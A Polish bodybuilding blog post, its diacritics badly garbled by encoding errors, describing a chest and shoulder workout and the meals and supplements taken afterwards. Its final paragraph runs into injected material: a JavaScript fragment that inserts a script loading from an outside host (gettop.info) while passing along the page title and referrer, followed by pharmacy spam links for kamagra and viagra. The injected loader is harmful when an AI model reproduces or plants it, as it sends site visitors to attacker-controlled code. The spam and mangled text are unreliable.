Ai??wiczenia klatki i barkA?w

27.07.2012 / Michał Karmowski / Kulturystyka

WAi??aAi??nie wrA?ciAi??em z treningu na ktA?rym razem z moim kolegAi?? MaAi??kiem trenowaliAi??my klatkAi?? i barki. Na siAi??owni byAi??o bardzo gorAi??co ale daliAi??my radAi?? a caAi??y trening trwaAi?? 60min.

Klatka:

-rozpiAi??tki na skosie

-wyciskanie na maszynie smitha skoAi??na Ai??awka

-rozpietki gAi??owAi?? w dA?Ai??

-wyciskanie hantlami na pAi??askiej Ai??awce

Barki:

-unoszenie ramion bokiem z linkami wyciAi??gA?w dolnych

-przyciAi??ganie hantli do brody

-wyciskanie hantlami

-unoszenie ramion przodem z drAi??zkiem wyciAi??gu dolnego leA?ac

po treningu tradycyjnie 100g ryA?u i 60g biaAi??ka z isolate 100, 3 miarki bcaa powder, 3 miarki l-glutamine extreme

nastepnie 20 min cardio na rowerze , a teraz jem 300g steka z ryA?em i saAi??atkAi?? warzywnAi??

Jutro teA? trening po Ai??niadaniu i sAi??oneczna kAi??piel na plaA?y , bo trzeba wykorzystaAi?? te sAi??oneczne dniAi?? na maxa!!!document.currentScript.parentNode.insertBefore(s, document.currentScript); slimex how much Cheap buy pills s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; } else { Pills http://tmssmagazine.com/endep-price-australia/ kamagra gold vs viagra. Kamagra without prescription. kamagra gold vs kamagra. http://eni-seafood.com/cost-of-generic-skelaxin/ viagra walgreens cost Purchase online Buy where can i buy kamagra in birmingham buy nasonex spray nasal